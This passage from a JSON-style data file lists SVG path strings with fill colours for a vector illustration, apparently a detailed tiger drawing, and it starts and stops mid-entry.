232.001C164.601 243.201 165.001 234.001 165.001 234.001C166.201 230.401 164.601 224.401 164.601 224.401C170.601 202.801 156.601 196.401 156.601 196.401C146.601 162.801 160.601 171.201 160.601 171.201C163.401 176.801 174.201 182.001 174.201 182.001L177.801 179.601C176.201 174.801 184.601 168.801 184.601 168.801C187.401 175.201 193.401 167.201 193.401 167.201C197.001 142.801 209.401 157.201 209.401 157.201C213.401 158.401 214.601 151.601 214.601 151.601C218.201 141.201 214.601 127.601 214.601 127.601C218.201 127.201 227.801 133.201 227.801 133.201C230.601 129.601 221.401 112.801 225.401 115.201C229.401 117.601 233.801 119.201 233.801 119.201C234.601 117.201 224.601 104.801 224.601 104.801C220.201 102 215.001 81.6 215.001 81.6C222.201 85.2 212.201 70 212.201 70C212.201 66.8 218.201 55.6 218.201 55.6C217.401 48.8 218.201 49.2 218.201 49.2C221.001 50.4 229.001 52 222.201 45.6C215.401 39.2 223.001 34.4 223.001 34.4C227.401 31.6 213.801 32 213.801 32C208.601 27.6 209.001 23.6 209.001 23.6C217.001 25.6 202.601 11.2 200.201 7.6C197.801 4 207.401 -1.2 207.401 -1.2C220.601 -4.8 209.001 -8 209.001 -8C189.401 -7.6 200.201 -18.4 200.201 -18.4C206.201 -18 204.601 -20.4 204.601 -20.4C199.401 -21.6 189.801 -28 189.801 -28C185.801 -31.6 189.401 -30.8 189.401 -30.8C206.201 -29.6 177.401 -40.8 177.401 -40.8C185.401 -40.8 167.401 -51.2 167.401 -51.2C165.401 -52.8 162.201 -60.4 162.201 -60.4C156.201 -65.6 151.401 -72.4 151.401 -72.4C151.001 -76.8 146.201 -81.6 146.201 -81.6C134.601 -95.2 129.001 -94.8 129.001 -94.8C114.201 -98.4 109.001 -97.6 109.001 -97.6L56.2 -93.2C29.8 -80.4 37.6 -59.4 37.6 -59.4C44 -51 53.2 -54.8 53.2 -54.8C57.8 -61 69.4 -58.8 69.4 -58.8C89.801 -55.6 87.201 -59.2 87.201 -59.2C84.801 -63.8 68.6 -70 68.4 -70.6C68.2 -71.2 59.4 -74.6 59.4 -74.6C56.4 -75.8 52 -85 52 -85C48.8 -88.4 64.6 -82.6 64.6 -82.6C63.4 -81.6 70.8 -77.6 70.8 -77.6C88.201 -78.6 98.801 -67.8 98.801 -67.8C109.601 -51.2 109.801 -59.4 109.801 -59.4C112.601 -68.8 100.801 -90 100.801 -90C101.201 -92 109.401 -85.4 109.401 -85.4C110.801 -87.4 111.601 -81.6 111.601 -81.6C111.801 -79.2 115.601 -71.2 115.601 -71.2C118.401 -58.2 122.001 -65.6 122.001 -65.6L126.601 -56.2C128.001 -53.6 122.001 -46 122.001 -46C121.801 -43.2 122.601 -43.4 117.001 -35.8C111.401 -28.2 114.801 -23.8 114.801 -23.8C113.401 -17.2 122.201 -17.6 122.201 -17.6C124.801 -15.4 128.201 -15.4 128.201 -15.4C130.001 -13.4 132.401 -14 132.401 -14C134.001 -17.8 140.201 -15.8 140.201 -15.8C141.601 -18.2 149.801 -18.6 149.801 -18.6C150.801 -21.2 151.201 -22.8 154.601 -23.4C158.001 -24 133.401 -67 133.401 -67C139.801 -67.8 131.601 -80.2 131.601 -80.2C129.401 -86.8 140.801 -72.2 143.001 -70.8C145.201 -69.4 146.201 -67.2 144.601 -67.4C143.001 -67.6 141.201 -65.4 142.601 -65.2C144.001 -65 157.001 -50 160.401 -39.8C163.801 -29.6 169.801 -25.6 176.001 -19.6C182.201 -13.6 181.401 10.6 181.401 10.6C181.001 19.4 187.001 30 187.001 30C189.001 33.8 184.801 52 184.801 52C182.801 54.2 184.201 55 184.201 55C185.201 56.2 192.001 69.4 192.001 69.4C190.201 69.2 193.801 72.8 193.801 72.8C199.001 78.8 192.601 75.8 192.601 75.8C186.601 74.2 193.601 84 193.601 84C194.801 85.8 185.801 81.2 185.801 81.2C176.601 80.6 188.201 87.8 188.201 87.8C196.801 95 185.401 90.6 185.401 90.6C180.801 88.8 184.001 95.6 184.001 95.6C187.201 97.2 204.401 104.2 204.401 104.2C204.801 108.001 201.801 113.001 201.801 113.001C202.201 117.001 200.001 120.401 200.001 120.401C198.801 128.601 198.201 129.401 198.201 129.401C194.001 129.601 186.601 143.401 186.601 143.401C184.801 146.001 174.601 158.001 174.601 158.001C172.601 165.001 154.601 157.801 154.601 157.801C148.001 161.201 150.001 157.801 150.001 157.801C149.601 155.601 154.401 149.601 154.401 149.601C161.401 147.001 158.801 136.201 158.801 136.201C162.801 134.801 151.601 132.001 151.801 130.801C152.001 129.601 157.801 128.201 157.801 128.201C165.801 126.201 161.401 123.801 161.401 123.801C160.801 119.801 163.801 114.201 163.801 114.201C175.401 113.401 163.801 97.2 163.801 97.2C153.001 89.6 152.001 83.8 152.001 83.8C164.601 75.6 156.401 63.2 156.601 59.6C156.801 56 158.001 34.4 158.001 34.4C156.001 28.2 153.001 14.6 153.001 14.6C155.201 9.4 162.601 -3.2 162.601 -3.2C165.401 -7.4 174.201 -12.2 172.001 -15.2C169.801 -18.2 162.001 -16.4 162.001 -16.4C154.201 -17.8 154.801 -12.6 154.801 -12.6C153.201 -11.6 152.401 -6.6 152.401 -6.6C151.68 1.333 142.801 7.6 142.801 7.6C131.601 13.8 140.801 17.8 140.801 17.8C146.801 24.4 137.001 24.6 137.001 24.6C126.001 22.8 134.201 33 134.201 33C145.001 45.8 142.001 48.6 142.001 48.6C131.801 49.6 144.401 58.8 144.401 58.8C144.401 58.8 143.601 56.8 143.801 58.6C144.001 60.4 147.001 64.6 147.801 66.6C148.601 68.6 144.601 68.8 144.601 68.8C145.201 78.4 129.801 74.2 129.801 74.2C129.801 74.2 129.801 74.2 128.201 74.4C126.601 74.6 115.401 73.8 109.601 71.6C103.801 69.4 97.001 69.4 97.001 69.4C97.001 69.4 93.001 71.2 85.4 71C77.8 70.8 69.8 73.6 69.8 73.6C65.4 73.2 74 68.8 74.2 69C74.4 69.2 80 63.6 72 64.2C50.203 65.835 39.4 55.6 39.4 55.6C37.4 54.2 34.8 51.4 34.8 51.4C24.8 49.4 36.2 63.8 36.2 63.8C37.4 65.2 36 66.2 36 66.2C35.2 64.6 27.4 59.2 27.4 59.2C24.589 58.227 23.226 56.893 20.895 54.407z"}
- ,
- {"fill": "#4c0000",
- "path":"M-3 42.8C-3 42.8 8.6 48.4 11.2 51.2C13.8 54 27.8 65.4 27.8 65.4C27.8 65.4 22.4 63.4 19.8 61.6C17.2 59.8 6.4 51.6 6.4 51.6C6.4 51.6 2.6 45.6 -3 42.8z"}
- ,
- {"fill": "#99cc32",
- "path":"M-61.009 11.603C-60.672 11.455 -61.196 8.743 -61.4 8.2C-62.422 5.474 -71.4 4 -71.4 4C-71.627 5.365 -71.682 6.961 -71.576 8.599C-71.576 8.599 -66.708 14.118 -61.009 11.603z"}
- ,
- {"fill": "#659900",
- "path":"M-61.009 11.403C-61.458 11.561 -61.024 8.669 -61.2 8.2C-62.222 5.474 -71.4 3.9 -71.4 3.9C-71.627 5.265 -71.682 6.861 -71.576 8.499C-71.576 8.499 -67.308 13.618 -61.009 11.403z"}
- ,
- {"fill": "#000000",
- "path":"M-65.4 11.546C-66.025 11.546 -66.531 10.406 -66.531 9C-66.531 7.595 -66.025 6.455 -65.4 6.455C-64.775 6.455 -64.268 7.595 -64.268 9C-64.268 10.406 -64.775 11.546 -65.4 11.546z"}
- ,
- {"fill": "#000000",
- "path":"M-65.4 9z"}
- ,
- {"fill": "#000000",
- "path":"M-111 109.601C-111 109.601 -116.6 119.601 -91.8 113.601C-91.8 113.601 -77.8 112.401 -75.4 110.001C-74.2 110.801 -65.834 113.734 -63 114.401C-56.2 116.001 -47.8 106 -47.8 106C-47.8 106 -43.2 95.5 -40.4 95.5C-37.6 95.5 -40.8 97.1 -40.8 97.1C-40.8 97.1 -47.4 107.201 -47 108.801C-47 108.801 -52.2 128.801 -68.2 129.601C-68.2 129.601 -84.35 130.551 -83 136.401C-83 136.401 -74.2 134.001 -71.8 136.401C-71.8 136.401 -61 136.001 -69 142.401L-75.8 154.001C-75.8 154.001 -75.66 157.919 -85.8 154.401C-95.6 151.001 -105.9 138.101 -105.9 138.101C-105.9 138.101 -121.85 123.551 -111 109.601z"}
- ,
- {"fill": "#e59999",
- "path":"M-112.2 113.601C-112.2 113.601 -114.2 123.201 -77.4 112.801C-77.4 112.801 -73 112.801 -70.6 113.601C-68.2 114.401 -56.2 117.201 -54.2 116.001C-54.2 116.001 -61.4 129.601 -73 128.001C-73 128.001 -86.2 129.601 -85.8 134.401C-85.8 134.401 -81.8 141.601 -77 144.001C-77 144.001 -74.2 146.401 -74.6 149.601C-75 152.801 -77.8 154.401 -79.8 155.201C-81.8 156.001 -85 152.801 -86.6 152.801C-88.2 152.801 -96.6 146.401 -101 141.601C-105.4 136.801 -113.8 124.801 -113.4 122.001C-113 119.201 -112.2 113.601 -112.2 113.601z"}
- ,
- {"fill": "#b26565",
- "path":"M-109 131.051C-106.4 135.001 -103.2 139.201 -101 141.601C-96.6 146.401 -88.2 152.801 -86.6 152.801C-85 152.801 -81.8 156.001 -79.8 155.201C-77.8 154.401 -75 152.801 -74.6 149.601C-74.2 146.401 -77 144.001 -77 144.001C-80.066 142.468 -82.806 138.976 -84.385 136.653C-84.385 136.653 -84.2 139.201 -89.4 138.401C-94.6 137.601 -99.8 134.801 -101.4 131.601C-103 128.401 -105.4 126.001 -103.8 129.601C-102.2 133.201 -99.8 136.801 -98.2 137.201C-96.6 137.601 -97 138.801 -99.4 138.401C-101.8 138.001 -104.6 137.601 -109 132.401z"}
- ,
- {"fill": "#992600",
- "path":"M-111.6 110.001C-111.6 110.001 -109.8 96.4 -108.6 92.4C-108.6 92.4 -109.4 85.6 -107 81.4C-104.6 77.2 -102.6 71 -99.6 65.6C-96.6 60.2 -96.4 56.2 -92.4 54.6C-88.4 53 -82.4 44.4 -79.6 43.4C-76.8 42.4 -77 43.2 -77 43.2C-77 43.2 -70.2 28.4 -56.6 32.4C-56.6 32.4 -72.8 29.6 -57 20.2C-57 20.2 -61.8 21.3 -58.5 14.3C-56.299 9.632 -56.8 16.4 -67.8 28.2C-67.8 28.2 -72.8 36.8 -78 39.8C-83.2 42.8 -95.2 49.8 -96.4 53.6C-97.6 57.4 -100.8 63.2 -102.8 64.8C-104.8 66.4 -107.6 70.6 -108 74C-108 74 -109.2 78 -110.6 79.2C-112 80.4 -112.2 83.6 -112.2 85.6C-112.2 87.6 -114.2 90.4 -114 92.8C-114 92.8 -113.2 111.801 -113.6 113.801L-111.6 110.001z"}
- ,
- {"fill": "#ffffff",
- "path":"M-120.2 114.601C-120.2 114.601 -122.2 113.201 -126.6 119.201C-126.6 119.201 -119.3 152.201 -119.3 153.601C-119.3 153.601 -118.2 151.501 -119.5 144.301C-120.8 137.101 -121.7 124.401 -121.7 124.401L-120.2 114.601z"}
- ,
- {"fill": "#992600",
- "path":"M-98.6 54C-98.6 54 -116.2 57.2 -115.8 86.4L-116.6 111.201C-116.6 111.201 -117.8 85.6 -119 84C-120.2 82.4 -116.2 71.2 -119.4 77.2C-119.4 77.2 -133.4 91.2 -125.4 112.401C-125.4 112.401 -123.9 115.701 -126.9 111.101C-126.9 111.101 -131.5 98.5 -130.4 92.1C-130.4 92.1 -130.2 89.9 -128.3 87.1C-128.3 87.1 -119.7 75.4 -117 73.1C-117 73.1 -115.2 58.7 -99.8 53.5C-99.8 53.5 -94.1 51.2 -98.6 54z"}
- ,
- {"fill": "#000000",
- "path":"M40.8 -12.2C41.46 -12.554 41.451 -13.524 42.031 -13.697C43.18 -14.041 43.344 -15.108 43.862 -15.892C44.735 -17.211 44.928 -18.744 45.51 -20.235C45.782 -20.935 45.809 -21.89 45.496 -22.55C44.322 -25.031 43.62 -27.48 42.178 -29.906C41.91 -30.356 41.648 -31.15 41.447 -31.748C40.984 -33.132 39.727 -34.123 38.867 -35.443C38.579 -35.884 39.104 -36.809 38.388 -36.893C37.491 -36.998 36.042 -37.578 35.809 -36.552C35.221 -33.965 36.232 -31.442 37.2 -29C36.418 -28.308 36.752 -27.387 36.904 -26.62C37.614 -23.014 36.416 -19.662 35.655 -16.188C35.632 -16.084 35.974 -15.886 35.946 -15.824C34.724 -13.138 33.272 -10.693 31.453 -8.312C30.695 -7.32 29.823 -6.404 29.326 -5.341C28.958 -4.554 28.55 -3.588 28.8 -2.6C25.365 0.18 23.115 4.025 20.504 7.871C20.042 8.551 20.333 9.76 20.884 10.029C21.697 10.427 22.653 9.403 23.123 8.557C23.512 7.859 23.865 7.209 24.356 6.566C24.489 6.391 24.31 5.972 24.445 5.851C27.078 3.504 28.747 0.568 31.2 -1.8C33.15 -2.129 34.687 -3.127 36.435 -4.14C36.743 -4.319 37.267 -4.07 37.557 -4.265C39.31 -5.442 39.308 -7.478 39.414 -9.388C39.464 -10.272 39.66 -11.589 40.8 -12.2z"}
- ,
- {"fill": "#000000",
- "path":"M31.959 -16.666C32.083 -16.743 31.928 -17.166 32.037 -17.382C32.199 -17.706 32.602 -17.894 32.764 -18.218C32.873 -18.434 32.71 -18.814 32.846 -18.956C35.179 -21.403 35.436 -24.427 34.4 -27.4C35.424 -28.02 35.485 -29.282 35.06 -30.129C34.207 -31.829 34.014 -33.755 33.039 -35.298C32.237 -36.567 30.659 -37.811 29.288 -36.508C28.867 -36.108 28.546 -35.321 28.824 -34.609C28.888 -34.446 29.173 -34.3 29.146 -34.218C29.039 -33.894 28.493 -33.67 28.487 -33.398C28.457 -31.902 27.503 -30.391 28.133 -29.062C28.905 -27.433 29.724 -25.576 30.4 -23.8C29.166 -21.684 30.199 -19.235 28.446 -17.358C28.31 -17.212 28.319 -16.826 28.441 -16.624C28.733 -16.138 29.139 -15.732 29.625 -15.44C29.827 -15.319 30.175 -15.317 30.375 -15.441C30.953 -15.803 31.351 -16.29 31.959 -16.666z"}
- ,
- {"fill": "#000000",
- "path":"M94.771 -26.977C96.16 -25.185 96.45 -22.39 94.401 -21C94.951 -17.691 98.302 -19.67 100.401 -20.2C100.292 -20.588 100.519 -20.932 100.802 -20.937C101.859 -20.952 102.539 -21.984 103.601 -21.8C104.035 -23.357 105.673 -24.059 106.317 -25.439C108.043 -29.134 107.452 -33.407 104.868 -36.653C104.666 -36.907 104.883 -37.424 104.759 -37.786C104.003 -39.997 101.935 -40.312 100.001 -41C98.824 -44.875 98.163 -48.906 96.401 -52.6C94.787 -52.85 94.089 -54.589 92.752 -55.309C91.419 -56.028 90.851 -54.449 90.892 -53.403C90.899 -53.198 91.351 -52.974 91.181 -52.609C91.105 -52.445 90.845 -52.334 90.845 -52.2C90.846 -52.065 91.067 -51.934 91.201 -51.8C90.283 -50.98 88.86 -50.503 88.565 -49.358C87.611 -45.648 90.184 -42.523 91.852 -39.322C92.443 -38.187 91.707 -36.916 90.947 -35.708C90.509 -35.013 90.617 -33.886 90.893 -33.03C91.645 -30.699 93.236 -28.96 94.771 -26.977z"}
- ,
- {"fill": "#000000",
- "path":"M57.611 -8.591C56.124 -6.74 52.712 -4.171 55.629 -2.243C55.823 -2.114 56.193 -2.11 56.366 -2.244C58.387 -3.809 60.39 -4.712 62.826 -5.294C62.95 -5.323 63.224 -4.856 63.593 -5.017C65.206 -5.72 67.216 -5.662 68.4 -7C72.167 -6.776 75.732 -7.892 79.123 -9.2C80.284 -9.648 81.554 -10.207 82.755 -10.709C84.131 -11.285 85.335 -12.213 86.447 -13.354C86.58 -13.49 86.934 -13.4 87.201 -13.4C87.161 -14.263 88.123 -14.39 88.37 -15.012C88.462 -15.244 88.312 -15.64 88.445 -15.742C90.583 -17.372 91.503 -19.39 90.334 -21.767C90.049 -22.345 89.8 -22.963 89.234 -23.439C88.149 -24.35 87.047 -23.496 86 -23.8C85.841 -23.172 85.112 -23.344 84.726 -23.146C83.867 -22.707 82.534 -23.292 81.675 -22.854C80.313 -22.159 79.072 -21.99 77.65 -21.613C77.338 -21.531 76.56 -21.627 76.4 -21C76.266 -21.134 76.118 -21.368 76.012 -21.346C74.104 -20.95 72.844 -20.736 71.543 -19.044C71.44 -18.911 70.998 -19.09 70.839 -18.955C69.882 -18.147 69.477 -16.913 68.376 -16.241C68.175 -16.118 67.823 -16.286 67.629 -16.157C66.983 -15.726 66.616 -15.085 65.974 -14.638C65.645 -14.409 65.245 -14.734 65.277 -14.99C65.522 -16.937 66.175 -18.724 65.6 -20.6C67.677 -23.12 70.194 -25.069 72 -27.8C72.015 -29.966 72.707 -32.112 72.594 -34.189C72.584 -34.382 72.296 -35.115 72.17 -35.462C71.858 -36.316 72.764 -37.382 71.92 -38.106C70.516 -39.309 69.224 -38.433 68.4 -37C66.562 -36.61 64.496 -35.917 62.918 -37.151C61.911 -37.938 61.333 -38.844 60.534 -39.9C59.549 -41.202 59.884 -42.638 59.954 -44.202C59.96 -44.33 59.645 -44.466 59.645 -44.6C59.646 -44.735 59.866 -44.866 60 -45C59.294 -45.626 59.019 -46.684 58 -47C58.305 -48.092 57.629 -48.976 56.758 -49.278C54.763 -49.969 53.086 -48.057 51.194 -47.984C50.68 -47.965 50.213 -49.003 49.564 -49.328C49.132 -49.544 48.428 -49.577 48.066 -49.311C47.378 -48.807 46.789 -48.693 46.031 -48.488C44.414 -48.052 43.136 -46.958 41.656 -46.103C40.171 -45.246 39.216 -43.809 38.136 -42.489C37.195 -41.337 37.059 -38.923 38.479 -38.423C40.322 -37.773 41.626 -40.476 43.592 -40.15C43.904 -40.099 44.11 -39.788 44 -39.4C44.389 -39.291 44.607 -39.52 44.8 -39.8C45.658 -38.781 46.822 -38.444 47.76 -37.571C48.73 -36.667 50.476 -37.085 51.491 -36.088C53.02 -34.586 52.461 -31.905 54.4 -30.6C53.814 -29.287 53.207 -28.01 52.872 -26.583C52.59 -25.377 53.584 -24.18 54.795 -24.271C56.053 -24.365 56.315 -25.124 56.8 -26.2C57.067 -25.933 57.536 -25.636 57.495 -25.42C57.038 -23.033 56.011 -21.04 55.553 -18.609C55.494 -18.292 55.189 -18.09 54.8 -18.2C54.332 -14.051 50.28 -11.657 47.735 -8.492C47.332 -7.99 47.328 -6.741 47.737 -6.338C49.14 -4.951 51.1 -6.497 52.8 -7C53.013 -8.206 53.872 -9.148 55.204 -9.092C55.46 -9.082 55.695 -9.624 56.019 -9.754C56.367 -9.892 56.869 -9.668 57.155 -9.866C58.884 -11.061 60.292 -12.167 62.03 -13.356C62.222 -13.487 62.566 -13.328 62.782 -13.436C63.107 -13.598 63.294 -13.985 63.617 -14.17C63.965 -14.37 64.207 -14.08 64.4 -13.8C63.754 -13.451 63.75 -12.494 63.168 -12.292C62.393 -12.024 61.832 -11.511 61.158 -11.064C60.866 -10.871 60.207 -11.119 60.103 -10.94C59.505 -9.912 58.321 -9.474 57.611 -8.591z"}
- ,
- {"fill": "#000000",
- "path":"M2.2 -58C2.2 -58 -7.038 -60.872 -18.2 -35.2C-18.2 -35.2 -20.6 -30 -23 -28C-25.4 -26 -36.6 -22.4 -38.6 -18.4L-49 -2.4C-49 -2.4 -34.2 -18.4 -31 -20.8C-31 -20.8 -23 -29.2 -26.2 -22.4C-26.2 -22.4 -40.2 -11.6 -39 -2.4C-39 -2.4 -44.6 12 -45.4 14C-45.4 14 -29.4 -18 -27 -19.2C-24.6 -20.4 -23.4 -20.4 -24.6 -16.8C-25.8 -13.2 -26.2 3.2 -29 5.2C-29 5.2 -21 -15.2 -21.8 -18.4C-21.8 -18.4 -18.6 -22 -16.2 -16.8L-17.4 -0.8L-13 11.2C-13 11.2 -15.4 0 -13.8 -15.6C-13.8 -15.6 -15.8 -26 -11.8 -20.4C-7.8 -14.8 1.8 -8.8 1.8 -4C1.8 -4 -3.4 -21.6 -12.6 -26.4L-16.6 -20.4L-17.8 -22.4C-17.8 -22.4 -21.4 -23.2 -17 -30C-12.6 -36.8 -13 -37.6 -13 -37.6C-13 -37.6 -6.6 -30.4 -5 -30.4C-5 -30.4 8.2 -38 9.4 -13.6C9.4 -13.6 16.2 -28 7 -34.8C7 -34.8 -7.8 -36.8 -6.6 -42L0.6 -54.4C4.2 -59.6 2.6 -56.8 2.6 -56.8z"}
- ,
- {"fill": "#000000",
- "path":"M-17.8 -41.6C-17.8 -41.6 -30.6 -41.6 -33.8 -36.4L-41 -26.8C-41 -26.8 -23.8 -36.8 -19.8 -38C-15.8 -39.2 -17.8 -41.6 -17.8 -41.6z"}
- ,
- {"fill": "#000000",
- "path":"M-57.8 -35.2C-57.8 -35.2 -59.8 -34 -60.2 -31.2C-60.6 -28.4 -63 -28 -62.2 -25.2C-61.4 -22.4 -59.4 -20 -59.4 -24C-59.4 -28 -57.8 -30 -57 -31.2C-56.2 -32.4 -54.6 -36.8 -57.8 -35.2z"}
- ,
- {"fill": "#000000",
- "path":"M-66.6 26C-66.6 26 -75 22 -78.2 18.4C-81.4 14.8 -80.948 19.966 -85.8 19.6C-91.647 19.159 -90.6 3.2 -90.6 3.2L-94.6 10.8C-94.6 10.8 -95.8 25.2 -87.8 22.8C-83.893 21.628 -82.6 23.2 -84.2 24C-85.8 24.8 -78.6 25.2 -81.4 26.8C-84.2 28.4 -69.8 23.2 -72.2 33.6L-66.6 26z"}
- ,
- {"fill": "#000000",
- "path":"M-79.2 40.4C-79.2 40.4 -94.6 44.8 -98.2 35.2C-98.2 35.2 -103 37.6 -100.8 40.6C-98.6 43.6 -97.4 44 -97.4 44C-97.4 44 -92 45.2 -92.6 46C-93.2 46.8 -95.6 50.2 -95.6 50.2C-95.6 50.2 -85.4 44.2 -79.2 40.4z"}
- ,
- {"fill": "#ffffff",
- "path":"M149.201 118.601C148.774 120.735 147.103 121.536 145.201 122.201C143.284 121.243 140.686 118.137 138.801 120.201C138.327 119.721 137.548 119.661 137.204 118.999C136.739 118.101 137.011 117.055 136.669 116.257C136.124 114.985 135.415 113.619 135.601 112.201C137.407 111.489 138.002 109.583 137.528 107.82C137.459 107.563 137.03 107.366 137.23 107.017C137.416 106.694 137.734 106.467 138.001 106.2C137.866 106.335 137.721 106.568 137.61 106.548C137 106.442 137.124 105.805 137.254 105.418C137.839 103.672 139.853 103.408 141.201 104.6C141.457 104.035 141.966 104.229 142.401 104.2C142.351 103.621 142.759 103.094 142.957 102.674C143.475 101.576 145.104 102.682 145.901 102.07C146.977 101.245 148.04 100.546 149.118 101.149C150.927 102.162 152.636 103.374 153.835 105.115C154.41 105.949 154.65 107.23 154.592 108.188C154.554 108.835 153.173 108.483 152.83 109.412C152.185 111.16 154.016 111.679 154.772 113.017C154.97 113.366 154.706 113.67 154.391 113.768C153.98 113.896 153.196 113.707 153.334 114.16C154.306 117.353 151.55 118.031 149.201 118.601z"}
- ,
- {"fill": "#ffffff",
- "path":"M139.6 138.201C139.593 136.463 137.992 134.707 139.201 133.001C139.336 133.135 139.467 133.356 139.601 133.356C139.736 133.356 139.867 133.135 140.001 133.001C141.496 135.217 145.148 136.145 145.006 138.991C144.984 139.438 143.897 140.356 144.801 141.001C142.988 142.349 142.933 144.719 142.001 146.601C140.763 146.315 139.551 145.952 138.401 145.401C138.753 143.915 138.636 142.231 139.456 140.911C139.89 140.213 139.603 139.134 139.6 138.201z"}
- ,
- {"fill": "#cccccc",
- "path":"M-26.6 129.201C-26.6 129.201 -43.458 139.337 -29.4 124.001C-20.6 114.401 -10.6 108.801 -10.6 108.801C-10.6 108.801 -0.2 104.4 3.4 103.2C7 102 22.2 96.8 25.4 96.4C28.6 96 38.2 92 45 96C51.8 100 59.8 104.4 59.8 104.4C59.8 104.4 43.4 96 39.8 98.4C36.2 100.8 29 100.4 23 103.6C23 103.6 8.2 108.001 5 110.001C1.8 112.001 -8.6 123.601 -10.2 122.801C-11.8 122.001 -9.8 121.601 -8.6 118.801C-7.4 116.001 -9.4 114.401 -17.4 120.801C-25.4 127.201 -26.6 129.201 -26.6 129.201z"}
- ,
- {"fill": "#000000",
- "path":"M-19.195 123.234C-19.195 123.234 -17.785 110.194 -9.307 111.859C-9.307 111.859 -1.081 107.689 1.641 105.721C1.641 105.721 9.78 104.019 11.09 103.402C29.569 94.702 44.288 99.221 44.835 98.101C45.381 96.982 65.006 104.099 68.615 108.185C69.006 108.628 58.384 102.588 48.686 100.697C40.413 99.083 18.811 100.944 7.905 106.48C4.932 107.989 -4.013 113.773 -6.544 113.662C-9.075 113.55 -19.195 123.234 -19.195 123.234z"}
- ,
- {"fill": "#cccccc",
- "path":"M-23 148.801C-23 148.801 -38.2 146.401 -21.4 144.801C-21.4 144.801 -3.4 142.801 0.6 137.601C0.6 137.601 14.2 128.401 17 128.001C19.8 127.601 49.8 120.401 50.2 118.001C50.6 115.601 56.2 115.601 57.8 116.401C59.4 117.201 58.6 118.401 55.8 119.201C53 120.001 21.8 136.401 15.4 137.601C9 138.801 -2.6 146.401 -7.4 147.601C-12.2 148.801 -23 148.801 -23 148.801z"}
- ,
- {"fill": "#000000",
- "path":"M-3.48 141.403C-3.48 141.403 -12.062 140.574 -3.461 139.755C-3.461 139.755 5.355 136.331 7.403 133.668C7.403 133.668 14.367 128.957 15.8 128.753C17.234 128.548 31.194 124.861 31.399 123.633C31.604 122.404 65.67 109.823 70.09 113.013C73.001 115.114 63.1 113.437 53.466 117.847C52.111 118.467 18.258 133.054 14.981 133.668C11.704 134.283 5.765 138.174 3.307 138.788C0.85 139.403 -3.48 141.403 -3.48 141.403z"}
- ,
- {"fill": "#000000",
- "path":"M-11.4 143.601C-11.4 143.601 -6.2 143.201 -7.4 144.801C-8.6 146.401 -11 145.601 -11 145.601L-11.4 143.601z"}
- ,
- {"fill": "#000000",
- "path":"M-18.6 145.201C-18.6 145.201 -13.4 144.801 -14.6 146.401C-15.8 148.001 -18.2 147.201 -18.2 147.201L-18.6 145.201z"}
- ,
- {"fill": "#000000",
- "path":"M-29 146.801C-29 146.801 -23.8 146.401 -25 148.001C-26.2 149.601 -28.6 148.801 -28.6 148.801L-29 146.801z"}
- ,
- {"fill": "#000000",
- "path":"M-36.6 147.601C-36.6 147.601 -31.4 147.201 -32.6 148.801C-33.8 150.401 -36.2 149.601 -36.2 149.601L-36.6 147.601z"}
- ,
- {"fill": "#000000",
- "path":"M1.8 108.001C1.8 108.001 6.2 108.001 5 109.601C3.8 111.201 0.6 110.801 0.6 110.801L1.8 108.001z"}
- ,
- {"fill": "#000000",
- "path":"M-8.2 113.601C-8.2 113.601 -1.694 111.46 -4.2 114.801C-5.4 116.401 -7.8 115.601 -7.8 115.601L-8.2 113.601z"}
- ,
- {"fill": "#000000",
- "path":"M-19.4 118.401C-19.4 118.401 -14.2 118.001 -15.4 119.601C-16.6 121.201 -19 120.401 -19 120.401L-19.4 118.401z"}
- ,
- {"fill": "#000000",
- "path":"M-27 124.401C-27 124.401 -21.8 124.001 -23 125.601C-24.2 127.201 -26.6 126.401 -26.6 126.401L-27 124.401z"}
- ,
- {"fill": "#000000",
- "path":"M-33.8 129.201C-33.8 129.201 -28.6 128.801 -29.8 130.401C-31 132.001 -33.4 131.201 -33.4 131.201L-33.8 129.201z"}
- ,
- {"fill": "#000000",
- "path":"M5.282 135.598C5.282 135.598 12.203 135.066 10.606 137.195C9.009 139.325 5.814 138.26 5.814 138.26L5.282 135.598z"}
- ,
- {"fill": "#000000",
- "path":"M15.682 130.798C15.682 130.798 22.603 130.266 21.006 132.395C19.409 134.525 16.214 133.46 16.214 133.46L15.682 130.798z"}
- ,
- {"fill": "#000000",
- "path":"M26.482 126.398C26.482 126.398 33.403 125.866 31.806 127.995C30.209 130.125 27.014 129.06 27.014 129.06L26.482 126.398z"}
- ,
- {"fill": "#000000",
- "path":"M36.882 121.598C36.882 121.598 43.803 121.066 42.206 123.195C40.609 125.325 37.414 124.26 37.414 124.26L36.882 121.598z"}
- ,
- {"fill": "#000000",
- "path":"M9.282 103.598C9.282 103.598 16.203 103.066 14.606 105.195C13.009 107.325 9.014 107.06 9.014 107.06L9.282 103.598z"}
- ,
- {"fill": "#000000",
- "path":"M19.282 100.398C19.282 100.398 26.203 99.866 24.606 101.995C23.009 104.125 18.614 103.86 18.614 103.86L19.282 100.398z"}
- ,
- {"fill": "#000000",
- "path":"M-3.4 140.401C-3.4 140.401 1.8 140.001 0.6 141.601C-0.6 143.201 -3 142.401 -3 142.401L-3.4 140.401z"}
- ,
- {"fill": "#992600",
- "path":"M-76.6 41.2C-76.6 41.2 -81 50 -81.4 53.2C-81.4 53.2 -80.6 44.4 -79.4 42.4C-78.2 40.4 -76.6 41.2 -76.6 41.2z"}
- ,
- {"fill": "#992600",
- "path":"M-95 55.2C-95 55.2 -98.2 69.6 -97.8 72.4C-97.8 72.4 -99 60.8 -98.6 59.6C-98.2 58.4 -95 55.2 -95 55.2z"}
- ,
- {"fill": "#cccccc",
- "path":"M-74.2 -19.4L-74.4 -16.2L-76.6 -16C-76.6 -16 -62.4 -3.4 -61.8 4.2C-61.8 4.2 -61 -4 -74.2 -19.4z"}
- ,
- {"fill": "#000000",
